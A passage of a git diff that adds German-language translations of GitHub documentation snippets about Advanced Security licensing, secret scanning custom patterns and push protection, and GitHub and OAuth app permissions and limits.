+Sobald du einige Arbeitsplätze freigibst, indem du {% data variables.product.prodname_GH_advanced_security %} für einige Repositorys deaktivierst oder deine Lizenzgröße erhöhst, funktionieren die Optionen zum Aktivieren von {% data variables.product.prodname_GH_advanced_security %} wieder wie gewohnt.
diff --git a/translations/de-DE/data/reusables/advanced-security/more-info-ghas.md b/translations/de-DE/data/reusables/advanced-security/more-info-ghas.md
new file mode 100644
index 0000000000..8e5f0233dc
--- /dev/null
+++ b/translations/de-DE/data/reusables/advanced-security/more-info-ghas.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 15c90c5b8c6b5664c7c02e4976c552a8362f76e3
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145089060"
+---
+Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security).
diff --git a/translations/de-DE/data/reusables/advanced-security/more-information-about-enforcement-policy.md b/translations/de-DE/data/reusables/advanced-security/more-information-about-enforcement-policy.md
new file mode 100644
index 0000000000..35a1cd756f
--- /dev/null
+++ b/translations/de-DE/data/reusables/advanced-security/more-information-about-enforcement-policy.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 1b37f350d1a16509df7b661fcde678b6599b3f09
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879284"
+---
+Weitere Informationen findest du unter [Erzwingen von Richtlinien für {% data variables.product.prodname_advanced_security %} in deinem Unternehmen]({% ifversion fpt %}/enterprise-cloud@latest{% endif %}/admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise).
diff --git a/translations/de-DE/data/reusables/advanced-security/note-org-enable-uses-seats.md b/translations/de-DE/data/reusables/advanced-security/note-org-enable-uses-seats.md
new file mode 100644
index 0000000000..61ae998ebc
--- /dev/null
+++ b/translations/de-DE/data/reusables/advanced-security/note-org-enable-uses-seats.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 02bc16f3628ae7c778c81a8d5b7831703b5b725a
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147877065"
+---
+{% ifversion ghes or ghec %} {% note %}
+
+**Hinweis:** Wenn du {% data variables.product.prodname_GH_advanced_security %} aktivierst, verwenden die Committer in diesen Repositorys Plätze auf deiner {% data variables.product.prodname_GH_advanced_security %} Lizenz. Diese Option ist deaktiviert, wenn du deine Lizenzkapazität überschritten hast. {% ifversion fpt or ghec %} Weitere Informationen findest du unter „[Informationen zur Abrechnung für {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)“. {% endif %} {% endnote %} {% endif %}
diff --git a/translations/de-DE/data/reusables/advanced-security/secret-scanning-add-custom-pattern-details.md b/translations/de-DE/data/reusables/advanced-security/secret-scanning-add-custom-pattern-details.md
new file mode 100644
index 0000000000..9907231449
--- /dev/null
+++ b/translations/de-DE/data/reusables/advanced-security/secret-scanning-add-custom-pattern-details.md
@@ -0,0 +1,9 @@
+1. Enter the details for your new custom pattern:
+   1. You must at least provide the name for your pattern, and a regular expression for the format of your secret pattern.
+   1. You can click **More options {% octicon "chevron-down" aria-label="down" %}** to provide other surrounding content or additional match requirements for the secret format.
+   1. Provide a sample test string to make sure your configuration is matching the patterns you expect.
+   {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+   ![Create a custom {% data variables.product.prodname_secret_scanning %} pattern form](/assets/images/help/repository/secret-scanning-create-custom-pattern.png)
+   {% else %}
+   ![Create a custom {% data variables.product.prodname_secret_scanning %} pattern form](/assets/images/enterprise/3.2/repository/secret-scanning-create-custom-pattern.png)
+   {% endif %}
diff --git a/translations/de-DE/data/reusables/advanced-security/secret-scanning-create-custom-pattern.md b/translations/de-DE/data/reusables/advanced-security/secret-scanning-create-custom-pattern.md
new file mode 100644
index 0000000000..f4fc70a9c2
--- /dev/null
+++ b/translations/de-DE/data/reusables/advanced-security/secret-scanning-create-custom-pattern.md
@@ -0,0 +1 @@
+1. When you're satisfied with your new custom pattern, click {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}**Publish pattern**{% else %}**Create pattern**.{% endif %}
diff --git a/translations/de-DE/data/reusables/advanced-security/secret-scanning-dry-run-results.md b/translations/de-DE/data/reusables/advanced-security/secret-scanning-dry-run-results.md
new file mode 100644
index 0000000000..51919d5d3a
--- /dev/null
+++ b/translations/de-DE/data/reusables/advanced-security/secret-scanning-dry-run-results.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: ca9405d127581cff137c4f711a57af6d881cb6db
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147549092"
+---
+1. Wenn der Probelauf abgeschlossen ist, wird eine Auswahl der Ergebnisse (bis zu 1000) angezeigt. Überprüfe die Ergebnisse, und identifiziere alle falsch positiven Ergebnisse.
+   ![Screenshot mit Ergebnissen aus Probelauf](/assets/images/help/repository/secret-scanning-publish-pattern.png)
+1. Bearbeite das neue benutzerdefinierte Muster, um Probleme mit den Ergebnissen zu beheben, und klicke dann auf **Speichern und Probelauf ausführen**, um deine Änderungen zu testen.
+
diff --git a/translations/de-DE/data/reusables/advanced-security/secret-scanning-dry-run-select-enterprise-repos.md b/translations/de-DE/data/reusables/advanced-security/secret-scanning-dry-run-select-enterprise-repos.md
new file mode 100644
index 0000000000..1a97512cbf
--- /dev/null
+++ b/translations/de-DE/data/reusables/advanced-security/secret-scanning-dry-run-select-enterprise-repos.md
@@ -0,0 +1,17 @@
+---
+ms.openlocfilehash: 555d4a026738d2451827fe5707eed6358f7f2468
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147549113"
+---
+{%- ifversion custom-pattern-dry-run-ga %}
+1. Du kannst nach Repositorys suchen und bis zu zehn Repositorys für den Probelauf auswählen.
+   ![Screenshot: ausgewählte Repositorys für den Probelauf](/assets/images/help/repository/secret-scanning-dry-run-custom-pattern-select-repo-only.png)
+1. Klicke auf **Ausführen**, wenn du bereit bist, das neue benutzerdefinierte Muster zu testen.
+{%- else %}
+1. Du kannst nach Repositorys suchen und bis zu zehn Repositorys für den Probelauf auswählen.
+   ![Screenshot: ausgewählte Repositorys für den Probelauf](/assets/images/help/repository/secret-scanning-dry-run-custom-pattern-select-repo.png)
+1. Klicke auf **Probelauf**, wenn du bereit bist, das neue benutzerdefinierte Muster zu testen.
+{%- endif %}
diff --git a/translations/de-DE/data/reusables/advanced-security/secret-scanning-dry-run-select-repos.md b/translations/de-DE/data/reusables/advanced-security/secret-scanning-dry-run-select-repos.md
new file mode 100644
index 0000000000..6f1c8e6333
--- /dev/null
+++ b/translations/de-DE/data/reusables/advanced-security/secret-scanning-dry-run-select-repos.md
@@ -0,0 +1,20 @@
+---
+ms.openlocfilehash: 55be1692eaf41dbee91aa298eeb9a969e5b91b42
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147549076"
+---
+{%- ifversion custom-pattern-dry-run-ga %}
+1. Wähle die Repositorys aus, in denen du den Probelauf ausführen möchtest.
+   * Um den Probelauf in der gesamten Organisation auszuführen, wähle **Alle Repositorys in der Organisation** aus.
+   ![Screenshot: ausgewählte Repositorys für den Probelauf](/assets/images/help/repository/secret-scanning-dry-run-custom-pattern-all-repos.png)
+   * Wenn du die Repositorys angeben möchtest, in denen der Probelauf ausgeführt werden soll, klicke auf **Ausgewählte Repositorys**, suche dann bis zu 10 Repositorys, und wähle sie aus.
+   ![Screenshot: ausgewählte Repositorys für den Probelauf](/assets/images/help/repository/secret-scanning-dry-run-custom-pattern-select-repos-option.png)
+1. Klicke auf **Ausführen**, wenn du bereit bist, das neue benutzerdefinierte Muster zu testen.
+{%- else %}
+1. Du kannst nach Repositorys suchen und bis zu zehn Repositorys für den Probelauf auswählen.
+   ![Screenshot: ausgewählte Repositorys für den Probelauf](/assets/images/help/repository/secret-scanning-dry-run-custom-pattern-select-repo.png)
+1. Klicke auf **Probelauf**, wenn du bereit bist, das neue benutzerdefinierte Muster zu testen.
+{%- endif %}
diff --git a/translations/de-DE/data/reusables/advanced-security/secret-scanning-new-custom-pattern.md b/translations/de-DE/data/reusables/advanced-security/secret-scanning-new-custom-pattern.md
new file mode 100644
index 0000000000..43733febdf
--- /dev/null
+++ b/translations/de-DE/data/reusables/advanced-security/secret-scanning-new-custom-pattern.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: c455cfdb3706ad7173d511a2e4b4fb1ff445d648
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148108291"
+---
+1. Klicke unter {% data variables.product.prodname_secret_scanning_caps %} unter „Benutzerdefinierte Muster“ auf **Neues Muster**.
diff --git a/translations/de-DE/data/reusables/advanced-security/secret-scanning-push-protection-org.md b/translations/de-DE/data/reusables/advanced-security/secret-scanning-push-protection-org.md
new file mode 100644
index 0000000000..5efcabdade
--- /dev/null
+++ b/translations/de-DE/data/reusables/advanced-security/secret-scanning-push-protection-org.md
@@ -0,0 +1,6 @@
+1. Under "{% data variables.product.prodname_secret_scanning_caps %}", under "Push protection", click **Enable all**.
+  {% ifversion ghec %}![Screenshot showing how to enable push protection for {% data variables.product.prodname_secret_scanning %} for an organization](/assets/images/help/organizations/secret-scanning-enable-push-protection-org.png){% elsif ghes > 3.4 or ghae > 3.4 %} ![Screenshot showing how to enable push protection for {% data variables.product.prodname_secret_scanning %} for an organization](/assets/images/help/organizations/secret-scanning-enable-push-protection-org-ghes.png){% endif %}
+1. Optionally, click "Automatically enable for repositories added to {% data variables.product.prodname_secret_scanning %}."{% ifversion push-protection-custom-link-orgs %}
+1. Optionally, to include a custom link in the message that members will see when they attempt to push a secret, select **Add a resource link in the CLI and web UI when a commit is blocked**, then type a URL, and click **Save link**.
+
+   ![Screenshot showing checkbox and text field for enabling a custom link](/assets/images/help/organizations/secret-scanning-custom-link.png){% endif %}
diff --git a/translations/de-DE/data/reusables/advanced-security/secret-scanning-push-protection-repo.md b/translations/de-DE/data/reusables/advanced-security/secret-scanning-push-protection-repo.md
new file mode 100644
index 0000000000..004e5812f6
--- /dev/null
+++ b/translations/de-DE/data/reusables/advanced-security/secret-scanning-push-protection-repo.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: f156e529982031ac921302230ad2a38dd3348493
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147075271"
+---
+1. Klicke unter „{% data variables.product.prodname_secret_scanning_caps %}“ unter „Pushschutz“ auf **Aktivieren**.
+   ![Screenshot, der die Aktivierung von Pushschutz für {% data variables.product.prodname_secret_scanning %} für ein Repository zeigt](/assets/images/help/repository/secret-scanning-enable-push-protection.png)
diff --git a/translations/de-DE/data/reusables/advanced-security/security-feature-availability.md b/translations/de-DE/data/reusables/advanced-security/security-feature-availability.md
new file mode 100644
index 0000000000..32dd2bf160
--- /dev/null
+++ b/translations/de-DE/data/reusables/advanced-security/security-feature-availability.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e6bcb727e053f9c234080dfe66eae1799110e88e
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145089044"
+---
+Einige Features sind für {% ifversion ghes or ghae %}alle Repositorys{% elsif fpt or ghec %}Repositorys in allen Plänen{% endif %} verfügbar. Zusätzliche Features stehen Unternehmen zur Verfügung, die {% data variables.product.prodname_GH_advanced_security %} verwenden. {% ifversion fpt or ghec %} {% data variables.product.prodname_GH_advanced_security %}-Features (außer der Sicherheitsübersicht) sind für alle öffentlichen Repositorys auf {% data variables.product.prodname_dotcom_the_website %} aktiviert.{% endif %} {% data reusables.advanced-security.more-info-ghas %}
diff --git a/translations/de-DE/data/reusables/advanced-security/starter-workflow-overview.md b/translations/de-DE/data/reusables/advanced-security/starter-workflow-overview.md
new file mode 100644
index 0000000000..29d1d90a9d
--- /dev/null
+++ b/translations/de-DE/data/reusables/advanced-security/starter-workflow-overview.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 0787aa860727060f5d86b26e5a22ad799875b8f0
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145103576"
+---
+{% data variables.product.product_name %} bietet Startworkflows für Sicherheitsfeatures wie {% data variables.product.prodname_code_scanning %}. Du kannst diese vorgeschlagenen Workflows zum Erstellen von Workflows zur {% data variables.product.prodname_code_scanning %} verwenden. So musst du die Workflows nicht von Grund auf neu erstellen.
diff --git a/translations/de-DE/data/reusables/advanced-security/starter-workflows-beta.md b/translations/de-DE/data/reusables/advanced-security/starter-workflows-beta.md
new file mode 100644
index 0000000000..a195f6b7c0
--- /dev/null
+++ b/translations/de-DE/data/reusables/advanced-security/starter-workflows-beta.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 5fc1efc3f0ad9ba390f6890d3fbf8e27aef2ba0b
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145089043"
+---
+{% note %}
+
+**Hinweis**: Startworkflows für {% data variables.product.prodname_advanced_security %} wurden in die Kategorie „Sicherheit“ auf der Registerkarte **Aktionen** eines Repositorys konsolidiert. Diese neue Konfiguration befindet sich derzeit in der Betaphase und kann sich noch ändern.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/advisory-database/beta-malware-advisories.md b/translations/de-DE/data/reusables/advisory-database/beta-malware-advisories.md
new file mode 100644
index 0000000000..4a2ff215d9
--- /dev/null
+++ b/translations/de-DE/data/reusables/advisory-database/beta-malware-advisories.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: a0560c072c0abfef3af9f59e526ebd4d1ae2cad7
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147410066"
+---
+{% ifversion GH-advisory-db-supports-malware %}{% note %}
+
+**Hinweis**: Hinweise zu Schadsoftware sind derzeit in der Betaphase, und Änderungen sind vorbehalten.
+
+{% endnote %}{% endif %}
diff --git a/translations/de-DE/data/reusables/apps/accept_new_permissions_steps.md b/translations/de-DE/data/reusables/apps/accept_new_permissions_steps.md
new file mode 100644
index 0000000000..22fe14fe87
--- /dev/null
+++ b/translations/de-DE/data/reusables/apps/accept_new_permissions_steps.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: a3d4fcc265b7fcbde8f78975e9894270fff42e3d
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145103567"
+---
+1. Klicke unten auf der Seite auf **Änderungen speichern**.
+1. Wenn du die App in deinem Konto installiert hast, überprüfe deine E-Mail, und folge dem Link, um die neuen Berechtigungen zu akzeptieren. Wenn du die Berechtigungen oder Webhooks deiner App änderst, müssen Benutzer, die die App installiert haben (auch du selbst), die neuen Berechtigungen akzeptieren, bevor die Änderungen wirksam werden. Du kannst auch die neuen Berechtigungen akzeptieren, indem du zur [Installationsseite](https://github.com/settings/installations) navigierst und neben deiner App auf „Konfigurieren“ klickst. Oben auf der Seite wird ein Banner angezeigt, das dich informiert, dass die App andere Berechtigungen anfordert. Klicke auf „Details“ und dann auf „Neue Berechtigungen akzeptieren“.
diff --git a/translations/de-DE/data/reusables/apps/app-ruby-guides.md b/translations/de-DE/data/reusables/apps/app-ruby-guides.md
new file mode 100644
index 0000000000..f55f5db451
--- /dev/null
+++ b/translations/de-DE/data/reusables/apps/app-ruby-guides.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: a47dbf3c7415ffd284d7c3a4889b875a9fb55a3a
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145103564"
+---
+{% note %}
+
+**Hinweis**: In diesem Leitfaden wird der App-Entwicklungsprozess mithilfe der Ruby-Programmiersprache veranschaulicht. Es gibt jedoch viele [Varianten von Octokit](/rest/overview/libraries). Wenn du JavaScript bevorzugst, kannst du [Probot](https://probot.github.io/) und [Node.js](https://octokit.github.io/rest.js/) zum Entwickeln von GitHub Apps verwenden.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/apps/app_manager_role.md b/translations/de-DE/data/reusables/apps/app_manager_role.md
new file mode 100644
index 0000000000..d94a77eef3
--- /dev/null
+++ b/translations/de-DE/data/reusables/apps/app_manager_role.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 16338c86d873227be61c2941971a2f9cb3254cdc
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145103560"
+---
+Standardmäßig können die Einstellungen von GitHub Apps in einer Organisation nur von Organisationsbesitzern verwaltet werden. Damit zusätzliche Benutzer GitHub Apps in einer Organisation verwalten können, kann ein Besitzer ihnen Berechtigungen für GitHub App-Manager gewähren. Weitere Informationen zum Hinzufügen und Entfernen von GitHub App-Managern in deiner Organisation findest du unter [GitHub App-Manager](/articles/permission-levels-for-an-organization/#github-app-managers).
diff --git a/translations/de-DE/data/reusables/apps/checks-availability.md b/translations/de-DE/data/reusables/apps/checks-availability.md
new file mode 100644
index 0000000000..d253f4df65
--- /dev/null
+++ b/translations/de-DE/data/reusables/apps/checks-availability.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 71dc8b1855fe66f4f58137313f31cef0ba97fe7f
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145103563"
+---
+Schreibberechtigung für die Überprüfungs-API ist nur für GitHub Apps verfügbar. OAuth-Apps und authentifizierte Benutzer können die Überprüfungsausführungen und Überprüfungssammlungen anzeigen, aber nicht erstellen. Wenn du keine GitHub App erstellst, bist du möglicherweise an der [Status-API](/rest/reference/commits#commit-statuses) interessiert.
diff --git a/translations/de-DE/data/reusables/apps/deletes_ssh_keys.md b/translations/de-DE/data/reusables/apps/deletes_ssh_keys.md
new file mode 100644
index 0000000000..d24eb20313
--- /dev/null
+++ b/translations/de-DE/data/reusables/apps/deletes_ssh_keys.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: c71fa3eac7b2e90b74df6eaa4af66fd65c03dd2e
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145103559"
+---
+{% warning %}
+
+**Warnung**: Durch das Widerrufen aller Berechtigungen einer {% data variables.product.prodname_oauth_app %} werden alle SSH-Schlüssel gelöscht, die die Anwendung im Namen des Benutzers generiert hat, einschließlich der [Bereitstellungsschlüssel](/developers/overview/managing-deploy-keys#deploy-keys).
+
+{% endwarning %}
diff --git a/translations/de-DE/data/reusables/apps/deprecating_auth_with_query_parameters.md b/translations/de-DE/data/reusables/apps/deprecating_auth_with_query_parameters.md
new file mode 100644
index 0000000000..a78f90fec2
--- /dev/null
+++ b/translations/de-DE/data/reusables/apps/deprecating_auth_with_query_parameters.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: 1ba4f5242c21b752ac7e3bd9a424e0c8c4e96b2a
+ms.sourcegitcommit: 72e1c60459a610944184ca00e3ae60bf1f5fc6db
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876902"
+---
+{% warning %}
+
+**Veraltungshinweis**: {% data variables.product.prodname_dotcom %} führt die Authentifizierung mit der API mit Abfrageparametern nicht mehr aus. Die Authentifizierung mit der API sollte mit [HTTP-Standardauthentifizierung](/rest/overview/other-authentication-methods#via-oauth-and-personal-access-tokens) erfolgen. {% ifversion fpt or ghec %} Die Verwendung von Abfrageparametern zur Authentifizierung bei der API funktioniert am 5. Mai 2021 nicht mehr. {% endif %} Weitere Informationen (einschließlich geplanter Änderungen) findest du im [Blogbeitrag](https://developer.github.com/changes/2020-02-10-deprecating-auth-through-query-param/).
+
+{% ifversion ghes or ghae %} Die Authentifizierung bei der API mithilfe von Abfrageparametern (wenn verfügbar) wird aufgrund von Sicherheitsbedenken nicht mehr unterstützt. Stattdessen wird empfohlen, dass Integratoren ihr Zugriffstoken (`client_id`) oder das `client_secret` in die Kopfzeile verschieben. {% data variables.product.prodname_dotcom %} wird die Abschaffung der Authentifizierung durch Abfrageparameter mit einer Vorankündigung ankündigen. {% endif %}
+
+{% endwarning %}
diff --git a/translations/de-DE/data/reusables/apps/expiring_user_authorization_tokens.md b/translations/de-DE/data/reusables/apps/expiring_user_authorization_tokens.md
new file mode 100644
index 0000000000..578e95bf16
--- /dev/null
+++ b/translations/de-DE/data/reusables/apps/expiring_user_authorization_tokens.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: fe5409ed1949cda159d56ac48e991e504b4125a7
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145103552"
+---
+Um Token für den Zugriff von Benutzern auf Server sicherer zu gestalten, kannst du Zugriffstoken, die nach acht Stunden ablaufen, und ein Aktualisierungstoken verwenden, das gegen ein neues Zugriffstoken ausgetauscht werden kann. Weitere Informationen findest du unter [Aktualisieren von Benutzer-zu-Server-Zugriffstoken](/apps/building-github-apps/refreshing-user-to-server-access-tokens/).
diff --git a/translations/de-DE/data/reusables/apps/general-apps-restrictions.md b/translations/de-DE/data/reusables/apps/general-apps-restrictions.md
new file mode 100644
index 0000000000..60960fda01
--- /dev/null
+++ b/translations/de-DE/data/reusables/apps/general-apps-restrictions.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 6b8e2ef675321a65ca0fd5e1339e69b14ed1425f
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145103551"
+---
+{% ifversion fpt or ghec %}Wenn du deine App mit GitHub Actions verwendest und Workflowdateien ändern möchtest, musst du dich im Auftrag des Benutzers mit einem OAuth-Token authentifizieren, das den `workflow`-Bereich enthält. Der Benutzer muss über Administrator- oder Schreibberechtigungen für das Repository verfügen, das die Workflowdatei enthält. Weitere Informationen findest du unter [Grundlegendes zu Bereichen für OAuth-Apps](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes).{% endif %}
diff --git a/translations/de-DE/data/reusables/apps/ip-allow-list-only-apps.md b/translations/de-DE/data/reusables/apps/ip-allow-list-only-apps.md
new file mode 100644
index 0000000000..7c57534685
--- /dev/null
+++ b/translations/de-DE/data/reusables/apps/ip-allow-list-only-apps.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: f6974605b7537749751e18d83aec7dc2e862553f
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147877038"
+---
+{% note %}
+
+**Hinweis:** Die Adressen in der IP-Zulassungsliste einer {% data variables.product.prodname_github_app %} betreffen nur die Anforderungen von Installationen der {% data variables.product.prodname_github_app %}. Das automatische Hinzufügen der IP-Adresse einer {% data variables.product.prodname_github_app %} zur Liste der zulässigen Benutzer einer Organisation gewährt einem {% data variables.product.product_name %}-Benutzer, der sich von dieser IP-Adresse aus verbindet, keinen Zugriff.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/apps/maximum-github-apps-allowed.md b/translations/de-DE/data/reusables/apps/maximum-github-apps-allowed.md
new file mode 100644
index 0000000000..7555adca5d
--- /dev/null
+++ b/translations/de-DE/data/reusables/apps/maximum-github-apps-allowed.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: f5bc1070c9d552e51ae946024af409ff1bd9d8c4
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879548"
+---
+{% ifversion fpt or ghec %}Ein Benutzer oder eine Organisation kann bis zu 100 GitHub-Apps besitzen.{% endif %}
diff --git a/translations/de-DE/data/reusables/apps/maximum-oauth-apps-allowed.md b/translations/de-DE/data/reusables/apps/maximum-oauth-apps-allowed.md
new file mode 100644
index 0000000000..d39c0cbf3d
--- /dev/null
+++ b/translations/de-DE/data/reusables/apps/maximum-oauth-apps-allowed.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 8c468db1efd3eef88dbd1a0a3bce281bea9d6cc6
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145103527"
+---
+{% ifversion fpt or ghec %}Ein Benutzer oder eine Organisation kann bis zu 100 OAuth-Apps besitzen.{% endif %}
diff --git a/translations/de-DE/data/reusables/apps/oauth-app-access-restrictions.md b/translations/de-DE/data/reusables/apps/oauth-app-access-restrictions.md
new file mode 100644
index 0000000000..40c84ec938
--- /dev/null
+++ b/translations/de-DE/data/reusables/apps/oauth-app-access-restrictions.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 720f6497375c61a1bdde1830545dfaf02d86dd53
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148106445"
+---
+Wenn {% data variables.product.prodname_oauth_app %}-Zugriffseinschränkungen aktiviert sind, können Organisationsmitglieder und externe Mitarbeiter den {% data variables.product.prodname_oauth_app %}-Zugriff auf Organisationsressourcen nicht autorisieren. Organisationsmitglieder können die Genehmigung des Besitzers für {% data variables.product.prodname_oauth_apps %}s beantragen, die sie verwenden möchten, und Organisationsbesitzer erhalten eine Benachrichtigung über ausstehende Anfragen. 
diff --git a/translations/de-DE/data/reusables/apps/oauth-apps-restrictions.md b/translations/de-DE/data/reusables/apps/oauth-apps-restrictions.md
new file mode 100644
index 0000000000..d1509f553d
--- /dev/null
+++ b/translations/de-DE/data/reusables/apps/oauth-apps-restrictions.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: f65192b62cd5ac803761ffaf5e1e374c8aad502e
+ms.sourcegitcommit: 505b84dc7227e8a5d518a71eb5c7eaa65b38ce0e
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876933"
+---
+{% ifversion fpt or ghec %}Wenn du deine OAuth-App mit GitHub Actions verwendest und Workflowdateien ändern möchtest, muss dein OAuth-Token über den Bereich `workflow` verfügen, und der Benutzer muss über Besitzer- oder Schreibberechtigung für das Repository verfügen, das die Workflowdatei enthält. Weitere Informationen findest du unter [Grundlegendes zu Bereichen für OAuth-Apps](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes).{% endif %}
diff --git a/translations/de-DE/data/reusables/apps/oauth-auth-vary-response.md b/translations/de-DE/data/reusables/apps/oauth-auth-vary-response.md
new file mode 100644
index 0000000000..c58c76a545
--- /dev/null
+++ b/translations/de-DE/data/reusables/apps/oauth-auth-vary-response.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 0d34d55c87313d2da594b1f53f34419f6123c181
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145103520"
+---
+Du kannst die Antwort auch in verschiedenen Formaten empfangen, wenn du das Format in der `Accept`-Kopfzeile angibst. Beispielweise `Accept: application/json` oder `Accept: application/xml`:
diff --git a/translations/de-DE/data/reusables/apps/oauth-token-limit.md b/translations/de-DE/data/reusables/apps/oauth-token-limit.md
new file mode 100644
index 0000000000..235362699d
--- /dev/null
+++ b/translations/de-DE/data/reusables/apps/oauth-token-limit.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 7ba9671bd3dc7314442653709d74a10cc65adbc1
